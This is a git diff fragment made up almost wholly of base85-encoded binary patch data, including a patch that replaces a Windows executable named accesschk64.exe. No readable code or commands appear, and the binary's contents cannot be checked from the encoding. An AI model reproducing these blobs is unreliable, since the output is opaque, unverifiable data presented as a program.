zKlu5SUX5}NH$Uy3zdPNjwBd^v#8sD#!y6n}-1wWK)q@7iNlP5Gx$2CErmgcE)Y&`x z*#etYUv6Gz<2rS7@@tQ*xP5DHzdSj1ZE>BVcGs>@Kh?wU1zx^Yd+~JF7_0if{QQJE z|8A12`n=_wX}U|GCXuqz4$L)rF|1@ zs-b+huThutlaAFKjQhIZ;UezWf4i^yKK|~`U-F3>dHAc`|KPsvK7V>jxs^F(nw1Z( zi1Nmr#$Gtle_WwvZH4J{JS^x>_jH-voEH=x-F)El=7Uz*O|BCewKw+8XLoNN@}98l zL(zkJmHi&!zV7tuV+K$9%YEG<%d{kzKknMPc}VU`1GsWS8I*t&qRsE zmo~T(b=vQuV-mafB}Q9Wk2$#D>$_KP4gbOZiw-M?yk8q+HNW96BL{xycH)C)>(o`> zkw@HX@_xCMZ*DUaF&%C!ZSB&=b7#-J>#SO}+s*Y_mgQCHs9*i;I_EEWbUNU~&Oe*e zeR;-?>iw&YyVY#p*`cRzt!u%Q^m|x5j0s3?x_#J*$p7g6?iL=p=ZKc^@7slc^YZLx za%-C!$Fu&TQ2&SD-|aWyX2VJO9>XeE4$9J$wViI)E!;P^ZP>xE#+90Ey>w(~<|5iN zK6(@xb#`uiH{G#h34SBiQ3@|U2A{YM3kWU*YnlwA4K|ZO1$4A ze*Ko5q9;f9&ML{BdH2jhm+adoa?C}q_bm6X>Ud_m?FhejEvojOXL7o;AWo=opB)ui zzWKnO^4lA1*#TKYei`4n?Y;N;#q(MYxJb1~w`#j+_L`BQ74!QFzT+NkcHZSVcFCY0 zO#S*i{_*p8t8|H}Uo)&~M`@CA1y#29b%I?YcTQ5tFa6h@@V$A+e_jmuR>GY@jyI&4IY`x5T@{`<7??>GI zHfP7iXA_!LCQGk&wOzDlwjEm><(&Rt#cAdKr~A7<-QPXPGy+f4YUx)0Z`#T7^va6& zW_SPW_VL0*ed;J{b=A5x4My&Ixc<~j^59vU+nauQ+k1E&V%O0h2cH;r^X2{0r~^N3 zOm2MVP3EI-{CnFq?>^1D#=HGJ;!eE?t}%D)sZaNJ|9^RZH|$OY)$rrE>vql5|F-_( zA1?CVeD_e(-Ice@UQ@C8nQ>JPdcEws)cW7|BJZW?f4Rt;rx`qL(5ag7m>`0~FVB7a z3(PD?f4ERwe}u;%^yEL z5u4~$&-VM3)+w2@PrGjpPdJ!Wt?s_GBkBKsw|M^(Bm1Xx07*heqVDfGL?vtTv%e$_ zM5{mk%}nAV>r_+ZsvFg8`|7^yE^a>8IjZN{_AfKIjM(W*ZQ8Vdadhtg{ub}zcAGKJP-++kAA3xtAYlN3ypb&1@h2+4>uEzu0Oz zy=6hOb+cBR$$CM|9^!PK^XTUeUoP2B#ny34dGg?e?f4Y|$1jkR9@p7cATGU--O8!* zyNW|Dxui|a^6Idm_o%x8cjR%zy%xSZlbn1TKE89X>-wYDeC#ehTl==(#BDeI?vz!V zoHDMc>bqqwmvehpEBNMm$+mfC77H!Si#@))74*8&iqJWS$E=(cW^JB6!|_AY7n7TQ se*fO(ygN3DOMBONJ}lF3uh-a@nQ1keura42isqbOs`s}YmzHGuUj|zZNB{r; diff --git a/win/accesschk64.exe b/win/accesschk64.exe index 0c1c01cc6afb2416c666dc140bbfd9ace8513fe0..4ca9592535dc999d2930a360dd3fb3fd03deb032 100644 GIT binary patch literal 810416 zcmdqKdwf*I`9Hp!WJ$P$6Ofg7L4w8_aWyKoja5(NYmF$zXdM1(9vMNQnS zvOS!ZT4}XvrFU#;#a6kgH6f4$QMssGL;)|=69N^yK=8u(z2DEA-2}nfen0>Hc#%DG zW}bOw=6Rl(dFGjC=9FHy$d&4Hxzg}w+b-8CJo(QjzyJ9s!|if)@4KeE>-o;F_gm!- zzus@$wCQtlX3f6y*4a1Rku&9{nKSRK%(?lNoY|3?In!t61jdZbx#P~Mw+zb6?2_xC z{^h>ZWp5gH*onWUz0;5Fzvc-9=7cI+#8PCvF*o->cVBk42b{Y_(r z?Zx|yW7Cgqk>|8yd*u0uy;Yuf9^>=s=~Je$tnaq0Ea-AgeJI@(dgPv)6KMxsXS=$l zbnoLDlJ0Vy?vdz^zQH3)f<81~g;QLvP7>ArbS>&8M4gn93Hp}TBr-X9os8`dW>;t# za=E_IJG-7|AitaIu`zfq@9L_Zg6GBET+7eHv$~sWSZ9}O;_3|7IJ|z}zvW0Tl!`hK zW$CV2iOQZN)1b;*swxqGb^+SV3bE}Jjt>8FT(0s#v!~uvd6Uc4sG;$|>B_>h5YG<( zd=R5S3d}Vig!FP$co3dwTgQKZs~a>+0ZJRuR@YQO%*C_AKOgYjcy+)(&JX%9J_j@g zI@dcV!VQ`|XEw|6V*om8+fZ3)me{en$Q{wI+>t2-TlM&pxzmvDUzNptW;i$3>X+h{ zP)<`IH>Ve(jXk!v+lX{mtgf?!>$Ee14e^xykUEH zm7t!6!m1l>y3y2{xq1SiZ0}|y71Zg*LaCBo@S63D4_Vpgb7!&ensu!EjSXzhYrbpP zm}wMB!;{|Lm@>qK&=lin%|2FHtBnD7bf3HO+~`;5MJ`_R1tM+l%K_A)_+aEmt2sQ_ z-op9^Y^evY`x^n$vU-ytBGbz_t5y^r~gX3K+~(-K7zNX7U& zh-VH#@dpS*UB{?$yy`~g$SXU8l#&F(EcQ159MEAB8VE>~@6>&!N)Jt{}_bQ3?)>3>NIt`nrO~t0AMg zw10Crb)(kT=h9ZV{R`4M>t@JZTNgRhj^1BA%;kz49%BS{XN2sAK6!RGo;B+zBsWf0Vk5G{A2uOl0(wyn*z#-`lsAVj#iL+Xz#QQw8wMC} zR#a4IeQVh+S3AK9&vZv1w&Cp^*zrEu;g&jiZU&aH;zcNIys7oAX8wS&QSqbnzvIW1 zMqoSmu{M=VjnuRAOv=qKX-vz8csHPH=Qtg~X_2&tojgk#6*6|{#%I>4U=6a5i(clw zf4EuY)}sv>Xi|VQ?W&vJE5T7~{bz1=-3wLJSVsL_MV)CkF-P%b^EZ=MsDN%%<`$~b z<=vrqGP0e%(fxWsoqx3(HK3T}gWGtNQ-1Opkz;%J4&#^+DF-nThlFV&P^eeM@0FyL zvsu1i!3N0z6p*uNkO)Y^6UZzXjUBf4Z^X2VHS$GzU}ifPrrm;FLwjR|& z((Nh<&91hN98*buMiMF^JpxTHRAh0e!iEAnLZ>zn9|=V!hnQN z%D8bnZH6e?Jb?U?m$Z3=$UqwfA4vy!@?DYB$OmLt=u6zH8Wb zqD5}Z8~5KvHi3iJVd|NmTlfl^g7PU~2Yw5pO+DCAz&>NtRVu23fQdM zsZ26bc!@;cSa6U7Cx-uw>Bn)fU>8TD45WpHw5S`1==~MSMR172H`_b?Qlaw1B$Y)j z^EmDdA<-ds;F)(V@;Q7tPvtm6anj6ug-v3KA@_qJ5@!j&-ShtFcirl+CFs&7)P;?sS`V2!Fsv8Uu}cRRF(#jC zL=~xr7axDh_*2fGSz3=^we5Wv)MQ_z#-WFa9eoGYZ-U~Au2_1AKWt zm&yW5c`0`yLgD!Db93amEH_)8&*xGw-De)VPj{^#0NWAomHRWH~wu%oJYvZK{b+dGbmKC%>A9V3e zPJf3Sct$)$T8&=<@-9V@ZB4;%$i=4Ml04MT_Wt9Nbj-XPP>Jpkm=HCT>ST5{=eGa| zo2AWbiXfLkGw2qWN$oHw@FBur`XvR!hN39-G}63y&wW1VFQi)hhD7nU_lk~al@26` zQxk|eRt*AB@t*l>Q9)ErY9K(nDFDQ1d%wOIi#_8t+q(~OVMB3ML|Zo$t2xwB5_F?f z)PSpYB3!eMQt7|(21jJs)w1;XjNEKanmIZ~{fr4%p^W!m13|{nR&cn~*c&!JGybi| zwraIYK|IXFTJ6*1@$P^*(_M7>{c{7xF*ToFVRZZE3Uk;u=)Fh50c%#PjCuWZLqpUt zM%|#Iy4wvQyUF;szxb^A8(N3>jqZNqfa$l3cih*ngT7&m%CH;sc)D&rkO3G0nBRhj zKi-L?C^O!+wxdb0I=>b?5If-07B?D=Ef{57{+AICA;_G7V*SS30pqas&F4@ijb_y4 z0z}&00iZNAMx9N11kkp3u*47|>#nXYEbMoOjkcmbsd%}6&Z3af?bDDs>{BG4#>On# zC+#~|weKuO-KU~@qT2TQ;y$m=>WUt7c>emaLorW%qarH5DNQ|qe-Rz93vFcQIzeDkHx%pvZ19X%>K8_LE z)=hI3YAuQjC*(5gEVQQx^S&0l4LCx^8`d|6ZJP=R_#e9lah!jA1onZ$cRrC$jeZ#C z(8L^s8QAt-4C?}O)Kk9LA35<1OU^^0tCXvG$N&y!+B}G*DRWgb7nGoKP^1>g))f|o zC~~{gwJk1Tjm&3CI=g&>4+o4RRwFDP0rLSj#uGEM^OMN(1%^gzY(;`!j03-RBi6j) zPlxOGMAC!C5x=(Lh{GHd#lLyP-Y^4s)7|*84ye zMxoi4O9LWfSWf^8rLgkh)GJLMrkY&V-sEpDlF7O!rryG|NLM_DxwYEcoeJn!?*L%6 znqTWdRCG<-yA%P=uC-T^ub8m*q6%v)ysY-2F5&pH+(n47y|)6;ue2;PbKfu7$+zpq zL96#c$cdTRhM1;Kn=_iLb@Q52kMs_cBKkurD-=87t!Ikcccv=^%2U9A* zf`h9dgkVnQN63p@!z$tS~v>-Z}~XD%8=}TVeLDV>^L)HAEbep!X~_{b}L; zYo!UstEj%+UP__>w{2Iu)Ob(){&*THsR;Nfry}wzWctrQ%H5|DI}0Q7)mR$3Sb{^L z$q5QQ?F#p=ciM7XDJQ|NxDWij1vSd(N&Ks6(O@COU1|UuDBqpD%#cz*{e@DBE0F!0 zvc!7!1pFa0)Kl;OYI}MLsa-VPbBTRV=j0+VvfVs)H{%ApASJ9dDR<3vB`;|GC`n;xNQ zNN&IJZ#5C;e2>17P&f7gEZ(X0XCPere993s+b_$%QsYo)N?X`?mBvG(hhrmA_5~WQ zQee2!i`zoR25n56K4nkXXs~|wDL53rOn0A^T=8)V#j?*QwRH?N&}7fA?dnP{FhoJq zG1Fy*As5+UuF^3>auEevpKey>PE>Q~D=n~2VoG=sO0O)AA)#T4%A2~8Vf|(t#-!-F ze8@)XXon7&&4I|GEDXIF)=Sr=Vk%or zRa?`!HY&Vv@(mrz_^<14V@_oKzlQDL#QMj^e^34YYy3|;_@6i_{^8er4}Mv%=5Y1~ zuXb8D+{Wfc`sP+U{RF4b(T;zA1xwfYcb%(4rs9fz~^5@Q!H_naZJ7lWhunaQ_8Gwnz3+cMgiCE zrR}tt3+ggheo}wn2+M4C;oBcOkD;fPuXJ^qS-3H59)d`T(dOir=24m=TK4$u8Is zir<@48lTf$LSk^fz<|P$FF7;pxcyb!%aPVZP62pf-YNzU-1Q=AU6s~aC6RzBfW(#y{fg*# ziQjNie%RywSAJyX9mkIy>m7a!eeWdvs6#4he_l6HO^`JkO2y#@G0eryL-kK@PM4w*iXYMz+sx6A|* zx~xYD4SwWJ{eR;}8|BmC$M;RmUvX+K=ag|l+sP)h=dso~*@XPV_})2kGJNyLoE)Fn zi_6e#blV+QC&k2vm{Ma4cKzxC+R9h4gx>X2vU6t`sz%-#7kWI^P>z*8YX?f?nhzSs zMryWL`(cmEdbWXBu@o%W8mohG71~feEx*Lgab-)RkcowNoc}P4IQ7y0Q+=-Z{`%-A zuTS3}sE_|-^`U+z`@@`gL8IrdO45k6T;;-`A*SXE>iACU5u$cvdUyW>L_-2}gQM2d zYl#6bpr$Da*b0`}Mq62y0y1ZSwmCvuD+V(J(FQQ-sP#CIZT=_pcQI^& zVAJFA8nJQY4h6_wTB2ISS1BmVMaT*ZZ&4i<{?RCumrgQ1P*lR&tCp_e4>e zH(Ix%ez03ma;A+oyH%AMjivpYN>l3!wpuT~PuwFibmJ5(%i%g;P5;p4f?c^QH)jiU zV=M|oF<WKvg;~Jiqc9Vhpkzccg(3)p%kJlSwwNq>mA8{2-#t?^k;Fk8PHcLQj^x3 z=Zz4J#~O;->8ZQ)cqgz$FI&#DDQ3KWc3}x@{%laTI$f-2xU-kx~!qoOv~fw zkjE9#(zQ5A8|LWHzRt|&JGsD7*eG-z1?~(ATpt;ZFx zZ;Z;)n?{M0R$xDYU49b8L%Ml;dF}X2&peilRdw7A$wc+6hb))taD%%tQ>e!wV`3di zO+3oV@SWkeqko0zIq$ppED~hj8n{yrQsf5Wf-n6|hIsiG< zMXtyhhyCu1h!-0H?@j<}kP`cA0Koe0birabXe<3`#XIJ|LSp*Blzfc6m^^a~J*}VC zAu`D+6;SJEwR)y+45n=N=;Rc)L}Fgb%}Qm;PAsIsGq^EnQa=U3Jfxvi9Ekx1LN{! zQ;iX`_*%umtGuaJ^0<-D_VxljK!pnfg~L~26%~1a1{yPSJd{>zGZrSc_tGX z$@b=|6wu-x4~#5m)LnQ5Re*xunHC77hV*US4;Qpe1h z>?m>1pT^U4cv=#M{n7T`E$?Dq4Cv9}H2`u|UTS+gC*f{ozBi-8CreUaG_+K5ZaSSC z_qKNo;%hSRtAxaZ3mgHG3aQw?MCpcMrh_qb78hcBLAip%*ue*Zeb_xBp(mCaEqsG}@Ew4Zo}$AjvKcQ&cId|I!87VY(RCUA=w1(3`qKhnLpghl&-NDd<_=D@ z&7;L01U#^z0QeIEAt*lA*v%dM~yOqHEE| zE>pR)*^~6cKJ>xNYM7}!U1z1Wrgoi}rmYO7*-gc5^H*^lO6*78JZCq$y|49>*sjV8 zeT75M##%BmA%r5}=K-zHx)jSZ7+lU7Ae5UWCIaj_(#prK8-@VY0TIBf0UkDLb64RN z2!J+U892C(wyr)20%yJ{M=vfO>GWbsI>vSMzI@=JJe&p>xjY1^U}D^D4wxl7ZSOrG zAOx~JYWLi5@irt*bL;?6BD zB-`!C6>YmGa=B5e>!};8 zA+Nh#M(IJA?D_U1ykR$-`G~5NgXvqcyGaaLz)%b0UkyoN2HUtB$k7R26ao%gA>Z>@ zIz}klt9jXpIu`pZ-lSN;(^hK0Ul(|Z54BK@$>RVEoGvSM3MGf$>$;!lw9y?qK{BKw;yo62cy@ZVG!H_xFF1Qy%n6| zn6^dV=UkONp1TUqVD-;o2W5{gaXNf(Oo3g|6uiRa0e92&_n za`1!?VGg<;LivAB!EYY^a*#)h-#5zkUULe&xK?XQ5y5mwq9#%qyd1tky#aTQImV4g zf4wPq3A=Dpus438CBS{J;Q#aTKlbT>gE)0_w+>ukF1aFv}uHAll2j&|YHAh`JF4vsipJ`d1efOuk zKEpc9$g~iOUy;!oK{Dp@Ij11?UBq#bw$k$fLao;z$%mw~nR7=Xr)L{;j>rJiW`ru@ zBf7Qb1G3CP@(LmqlJy9+_CVfs$*5OVjx60AajardMHFUp-SnkIz68_?q_OTBwH{b6 zX0DV>dX{xR^tXTkpEK|Ch~jkc7Aj2LIAM89`#ay2!+l4~TR~lL@P>+bO2F6x(|oNT zq8Bzx=p0uII>DjCU*t-@;k9nKpsOqaz#muNk<9R% z8?^;}GIhLxvU(OWrBvP&tldy~wr-9-RuR3MZ49A}hNnM(;%*f2BNh?&rwK%RecE9` zk4_2vZo|`s8U0zvnWl2~LNRHT*Rz=Oh(x3R{BdQyGT$j{4Fbusjw|6Mq-Z_dtbRR$ zsD3ER@cfe*{V-eYOR0$7!^&SRmH#v2Q`%P#uf5i;pNnBmZJs8a6{lfI7dAc!HLa(~ zC}_MMfTrmS8tVhxJ_Yr$ZYhmllNB-=L(%)QGiIlTj81T!$@0rKs^4h!7jM*latT(8 zLGxa>Zq7zmoQ(mg6O6SL(W3(^FT(GImHqwEqjscQz<8bbTXv$W`J-*N78{D30b{*W zT1y=gLdMs^L#_7jczY3l;CHuFYwV4wu4vsW(Y8~yhvQT#9)q+E!fw5>@WHka-cw(- z-*5Ev4s~_8Tc!b^(Q~1MCrLQ2GoF5?AtNnUTdAj5ZenaJ(_+^N#7_lckc1~m_-qL` zNSG%g8a=l$%;v4gT!vspbXaOwd`PuG^McIB5oP@)0~KD8nT>F5okJ%rxN$*dC&UC6 z^f?cYmN(FZkNEt z)x&oofLa`t5;jR}PNQcI1J+iUE1@W6HF}CAA-&P_&weOewNb~B5A)2+K^qbUIA9uf zwUoeFAY`1yQ%12}TI~YFVT@gZ{JK%7ullq4*F`V#Jc>B2HiQbog7p9aFp`#WH)W!l zEkFD#lHwDyblWpc@=w4tU#Q2+GPuf^2+T;vWEW3agM||CZ?vp8`P?C;*Hw0>;NnTE&La}F}W(P16r^d`?ZJP_~F zr>qT`XRgx?7)Cu~5E+1I1o)#jK&U*GiG>r=Z*+EVnPpwY~AqqVlDj>2eLOYb~_igR@oim|fXd zpVAmIdaVoD>nlp4!)|j$zAQD?b5S(mJoNd@>fw1P1+4h=Tiad^d+@qxiB*JnAfS|M zC^k(AHAS`qEW89DN{Dl+F$8#9|Uc_G${+`8O7r?mj_XfhJ z;CUwgauFVk=N0&C*QQ{PP(~nHn5)p$|1cDE;BirOQOuWz=VCTn>9O%po^sq3lw%t{ zSc!sz57^$ZozxO!8@SH18SEukMNvU)SfJ|Nfjj)T)API>lVZB5SwXjriJ zfGD*%tOcmB7O2BSB6~x;0!h}9%yeV{g zI}PnIyUj$dKQou%vOf3`!R-cr@$T6>or4v$@Xdl^Y9#EAjzbIE&SWv<7am^$U#0tC)8el*{5ovm~DFtIk4T=dF*`eYcl_iU4 zJHcwxqL(6Ibgo|!!N~2_2o;G{WM8#s>O z9JibDq@fg<4Jz-2Ok#MMlv~a*#%J9DN+JrgN)*(2@9yqJe+7M;Wb4=h+Ws(5BSJ*SgB8wbVv&zu67_`^7Xr6X4+^? zT|v@p`iI-PPC{tC?fo1ST($HrQq61teT3iV+7zxaoY zv8PHwl$B?G%>p8Sk@Z@DdqPP`e+e8S4wg@YED4*>0S$H!)Pl!8Me5HyMowzAQHkLG zi|NU`6qF#h{i{)9EVAp6k3HG7#&&Cvmsh?O_KyOMzPTMV>isbt_A?I_aWX4Wi5DPI zBLTnq7ZR~QNWg!qa9_rMfUxcT;v3dec2UlkDsO}yECEF?G!x^XL@3I0z!m<0v168? z6*wG$swHMMb-pZd-Vp=Ts;^~$(miaj=Y{@>0V*G&j{#~q9y}7+MneP~b+Gq0ehIc= z^myq4s&Db&V=yw;(PBG|G=!bC5+kuWeqB7Wh~bIYu;H^Dn>O)CwXqxaW2a3MX<3Zm ztYAg)U1@WsiG77Q%5eJ6_TDB?*nHPkq(s}g%^L`}vSWYdqGe(ATQ@pWiprrt{#OCEK0A};F7&rH2zbNxpfVCo<&`Wn! zUJz|{SDwkA?$NK^5ty|yU%Uer#M2OXgn=vsrZbR^fDZwy7&#ICJ+WL!EHtkRVu>WMgcDfKNnrVk!u;hMf@LPLv@i^jp4c)MlOt;V?8Tsb3cy#iFGSBxSv;DDafia*8?5k00$s+SdX! zXnX>5`hw{gVe>M7h6miu#pqp*Rnv2fK0lZbh=(Lt>I0OaV#~DiOUs*r&D78;;=x(m z;N&6W;yGz^hILp!fB>tw{f%KDgmST~vWnLBF0{65wOj#fD@Uk3?zg1c!P>)GZ7*nP zLUPpeJuK<8+Lde!$|!NlxYU_{rT;kvSfDSbxiajeXKA&y(tc3FZekhOMaMj(JYrz% z!}wwBW=Gbde?&O3-cb19AM->Kq#aOf(~fkMu1l1JUwtruQoI1-^uxPn^pT70q=W^`ZnBYxSKy6N!S+^ zkt-TPBH)MsIX9j!F}|>5Ku#cJ2_S>9kJOQk!CNchFXVHeFim+xTT+xgxah7FF+CqP zJPRuvbMV6m&>S4B{RAG1W=!R)Da8-jJ9q8L*J~VDIiwL!`IYFV86sC1*-$Ze{Q8g%?y8 z_U?6Ql@n1;pAO};SNJ3aV1FTrA6Pft0^QH^K7QGvEqIFQ8zyfWyW8v4p2_g61Qd=4 zl0@){Gc)H*1??MOwe8Z_fy!cZHSDskFYW(&LSNNZx=LVB&It6ck7U3BHU+mL?F(WI z&_c%B$p04(S`Q&V!ZwGVdk_YbXALID2f;vTdu~J+QP1E}dADAK$qD7GTJ;nK9OHA2 zf7N0Hakw_11?#9;?1%jpMfAni<|^R5lVzOEGSK~OZ}X8(u9oM}0Gx+J5L%F#ITaun zo2+j(r~&9BSXveIuLvC#QObOXh;{-5;tchZ;=D9$w8F3EOVJ?wkc7xmF5oXQj)l#0 zf0B-Sq>MfO*zU?c0cg^u_nX@w@AZ2-p~#wBVUl$Qf^{7~M%yQ(=YI*)X(WU=|aQpmBf47ZaD8-}< z!%rple32{Jo!@DpYXiG;Q*bj!G&B$MB6@Y{Mgp}Vo; zG7Q%cnCJdFt+UHG>PH_&a~sgyFELs=&3yz?%jW(HIbpTf(iHtVWAd<3K`+_L3Sj(LfMI1xMe*#kIYGz&$aod2 z%p43cu;o$5yjS!jWMb<}=+gIYYcCW%f@qI5u~iC-kch0fotg*^Usv8d82hOQ=Ugx6 zvYq`hHC{sfx&3oz@U1TFQF(stu1I$v9Z96m0O>#6VNzV|iQ6c$tja-J--Qv4;$3)f z{&O_g%u2d7jQBI%8sN#mMd8JG!6HEPJm`w&;1o7=Me2cxMSwa?TQoH9Ld=xF3*X3J zbC9HP(5wKFq#Q{ZVYE_>{%4Wj#vPA2^rAjzY{&Tj8D{d`G5h{ef(jC`oMKdqX!NS( zzQVzg^A4B5W2+z2%jnOg{3dS$1c-%6IJlfHU6q}%7~C^|b@A7c`$Uv{h53;=;_P(? zFjed3M0oset%P3yCdmPUzqFbsG=kWVFRdnpVO~IAV{e$hi@gCvlBR&IbpJ^Iw{63~ zcNSEvB^*^0$Fbyt?ia>zFmD^Xi@Zu>I3dEDvrSu=30Vvo-?rv}S!z?4ArOutA=S!RB$XltdHKtqW2W0lRJZj zJBlB)%AABBT@RgNl-L5fe{t{BR|B&FAZ$EXWdBqY!&+rN)zEub2C z))PGY7UPShuLEe3OC6Xq2Gux0Sl($>%=rZ`>o|@%7<(76aH#Pd@eqPJD_NljAw(@V zA=4slyvubK{_>nZzMm|PFo}3soa09~*1_$gW`8va9G{qBD9;)_J}pa+R~_U@+HwmP zrf_`PUgOPhylMwd($dHjuWH8i4Xg01!#Qo-uk&v;p8MEdon4O|q|Ca0hibDS{NQnpjH1b1CF>eY_hB4$FAsx=7%-<& zlIb4}b}b_3pzCDlAnb2`&p~;a_**AO>V=G~Syv4}|Kx^>MRhm3TnF&iXNvmUh44rC z%W&QqzX9)u@wXL!HvST@Cwuk)d_ta}{mmFJMsC%au-?ZpeW8_DRw+;*0jQYrZ3gT} zpMijP8Ej z;zNtfp+g}O(nx4lPICqWpU8u14lblfYE{x4pSrRxVVp;o;aMB;_x2Uk!Go8Q5HRZ5 z?Q!uX)dcjciL^lVU|+?c1pl}LGMM7HI@J!WqpyYRHornq=K9Ec2hxGq2VY}$v&l?; zhRG7A`aky2(bx41I&ddFLkbSS0nAr8u(zphJYNI z3(KI#?%2o5Xtf&z0G%Jxs8;);ye*VXV%%%t!2AKR0hkpxgnzA3$a{tdMHZB;&n`;^}E~#&N*$Q5UFkl6}6y^E(`&cpUhYDsZC| z9yv{LB(=>~!Z3L)MLk-vaRO9JO!EGg4qc+=JVr0Dm6F7r4^+W19e7O=vgn2C~=c)7L8KMk52O zkv)TVVKaS-tFsGwY#KB-Sg<_f`C3=$@zvT9AL7rzOK-mPtcBls%V7+pzLoCQr~ct? zU0b_Ltwxco#ok3qEe@f-#V2$C`1QhCHSqa!LFDUJ

+O*RL)IHcDlUONXH)b=k~=N(Be*$~=~LFDJrANU=!#EJ7Sq5h>!-lo0-LW3 z%(|c=3e}vO@ase7HEH_vX7Wf+rPIJDcB7jCY@{C9d`=s#g|OG_(|0Q-?v56_U_o2+ z$(eJwgy>J$ivf$6J`z*Jm|PWemc)!<^6H5059V zY@vd`Zv6x5G)IwgbZ2Mp|G3LT*uOCh!+x0De{8>|E?|5GJFM|l(M4MA{b(~TtTT2l zIyt=>QK_pZoF=GCUSCfDY$w1b>D8IJzgQzN zie7yg^8sQUdR@r(t$06LDUU`O%#CDI}X@wdOjfgRo8G0eKk+i=1!8=H@z zXdB$-aLElUz1Vv%Id*oWk8U^1wj|DcCQ@N}=~lvggH^uzL<;s#ugXHkvSX7X*qA86 zT{7+2Iy0O9xcLfGZyuO66dH)dYh@5VO5N&t6*i#-SxZ&8AN8CkRrs$AFH+&14A-jg z4Ya0Isqi6&XQ*%xRu`*Wg`Z(~oC*)bqT13`_$G#jsqmK!=c{lWb_Od~h2LX1TZN}j zL%5p?FJ{=K!u_aIe}Vljw560`OND6I}@D_&8RN-@JY|e7v8BSB-*BNeGDQ&+CBcQckh0mRh@Lm;uhT*qVc=#NIn^pKZ zhF?r!3U6U}A;NGOh$il6{qB)kZnkrKEytRTRSp#N+qY$4 zY-dFM-=GF2&c9v-;oqr8zsi_>k#6An@LuCFdO{0z4qTt?{A=G3EcJyC(XT*n8j%fS zJ5+)ZSrs@vfF6r8uuEZmODcL!z>)Vm%24;`f7`ByCg7a(8>*20==Z04nf}=KrGppp zPfk>a;rG&0hc|T=PL5+2PMxj4n43PA$53TM&ejh&;cPv1md+$>OE$pJM$*_?hQ;G+ z)*Ay8E#r6%Z4CE|Ca*aXkCEv(=m0J3t}J*9g!(sPMF#qYi|ghM7-J6W1jqbv{O&A0 z`mGE$MWv~AI2S+9n)!Q{R8bO7d!XeY>G=wZK!y4&(9~J$`TY z7&Gl+96kaaO3fiqyildFx&edzc5Bb?xQu~Q+gmgsZNVFjioNcjXjF`dr`?&958c4U zUpODF_s1PwqY%V_{4k4#naW!WRjm&W=vY5J4quJn6FlK~F;$E*4*KPeyTwFGk(j1% zK~IBq{Q#cYe;KZG2~m;f_sy5OaaXo@OXJY=(Qt9&JP@Kqj~)|xpMM3M&BF1!pe$lv z{B`RH1c}ZuY5iONM5@1-pnACYbM4{fh(h}nnKzQmSQ|DZ$b3-94ATUTW|Pc2aJC+k zz$R-ps;b9tgdA)~aTkZ<^Hgz|ODrpvEK%x&J_m1uUJ(*DNz;?{xq<9+>mCGD{6c4% zY&zLYX+8Q4<@87W6LOj$n)EMY?GoKr$(TA6tEV(#{lhc`CN#aXpcS)u-Q`j$3a zaxgcWO8{6&Hd*&U`Rw53#G4+_p|Dna1K!C!c?!3|dYpa*W*WSvm_nc7cFeGcTm{30 z=jAJ)?8LUh=C}5^=~dR{C%Z}xx0zrY0QI--d5-$+Mzv9^oD%65kONjg_#q$Ieao<( z@5bA@G@V!Scf3^&_86F9vOD_en@ih3eAs9@w8yUN8$J%4noPt!^QZf81*cUrqC7=DOrdDK#l^)>j2=SEKmUAyU`R|(gA=e z!NFK3{DFQLc<6Ybl(G&mObHIg$=|hNCB-)q7DBBfgNFT`)PX4;##6p8`y-6&ARW#= zYqh&^ATn&mSbLtoqp5Bfwv4fCsck?K=Kmn(L)&}FZma{%%rbeoK)pe8L+C2aPC|`KShDi4QojqcXO4(L2gM@h~9J$A5DwSrEw0OL*TT-EqVX zhkF~yjQj8;TjeOwVkW9&#l3D^$FN8O@WXkS0W-6Xna@#~$1!tn70zL}E5f83)+u|uaDy)#x(yF4*to#6 z2>~9>#oY;0bE}%9?P#j2qA4~6E#di4Ze5_sW%TgX`QzhHA%F7uqg;R08BxD1(EpC@ zW`_`k(pIhZS>OVNr;@_)Kg_@b-MjZJbQG4NC(Nb?HHk5wZ~`%aZ? zDlTRQdX{DHAT1+fO+C-r|5Ge&|0LCi3aRWUlVtrt0wqLRGC zsZ9NudnDog?VT{+zRTuS@khu5t01xq`_*Y?RA-h{#~Xs)&z|r&^4Z>2G+OzHPQ`#U z%Nomy89NZJqGxD8UZD%AO?uF_17_*lZ0IZ*^1PqUP?#?VW;7J%lQ&wQ{)9)8-=$!G zgrFYp({hTiHH^w@wSR@@Mc9;KTaUh+0ZL_rwGnCG+&LvFDgMJg>mqCMOd7Dkv*^ytR)Q1PC* zo{+JpwI3(ZEiEBvgqYWh531O%m`S_q#XFLkifOW3Yuy)|h~f1mW$N*#ShJ2rH(OgC zPZr%*v=&s_QCSQ@LY2W;Fq|g(gb`}%pi^iM-v$-j>I7$eJuWTu8@N(>;4}L(Q2F=t zrbcSIy17{96Nh*phI%)y$bc%kNUmEF@BS~X9H=CawX453OIIqdyr0R*@ag%Ip`U#2 zCMRmA&Hfp>@A+J32L5c@|HP<=LppFBawfH~Vam*GEG8pESRIvWBcK*7CLg)y2n!)T zzl7rkg_E$i4Ce$LX6(qpRxP3Hz!0OmBd{mD8lG|_RR6JOj4@*nZngcxW{$8;F$)h_ zI2CWv9=sf$UDSZU$l`5a5OfroTUl@j1&2*;)O?)|T{iyIULr`{1wo}`m?jZggC0w; z==XgX(OLm<&>r58CQ)ULHbXp`sE1O?>#~aTLl`TA5LX5ciWffsBzjtKSzBc&zA;xdwi>qkn3T09!2%q>4872{Al>)<@-N?9=?(|U-nvzBGDjam;= zCu-AMvyXDp>r_yWBM=_bn9vlPg-1ePVhZegH~=ym2SC7ow2N`poA@xoBIlc2ruT&a z<|-$p2rYIvf(OgQgRR!GSQn{MmX14?q(0bR!|8dSEO*fhb0B=u%IM3a06VX|hmDx3 zwqnfNhhPrN%Ga{0pp1S8fw4G`mHsa6*e!psM}5@|O?!SW$@Bsi-bGuO@yM@MC5b8gU2v5r`thT}WvpC`gLZ zum+;8g-uO|G42B0#zB5ZBm_JOfFTjbEjCn+PT>7Pbdw@y{Qx?{Bsnn-kho!oQyuEd z=tTE)YFMaH3LDJWaR98LgTz6ZsPD<3+2Bc$0sjj+j9VRr5i^f^Hy3xP#}=BR(@HSZ zb%K);6q3c6oVl{FT4^8JB0lLm-i3bYCcy}&vV#~dr4c90OeWHU$G ziFpEDyZ8-^lJziKlvMbmmrbfXwPI0e@n>2s1}IeM-zgFs*s_-Gb{7C9qy7mU!M;`OCk$+sQH=DzR?q4utd zON`C!rDAX%kSsAbIXIh(rD3MI0Mcsx8SCBu)A;avFxT?UhMv9>UP&Scj@%@8{e1&; 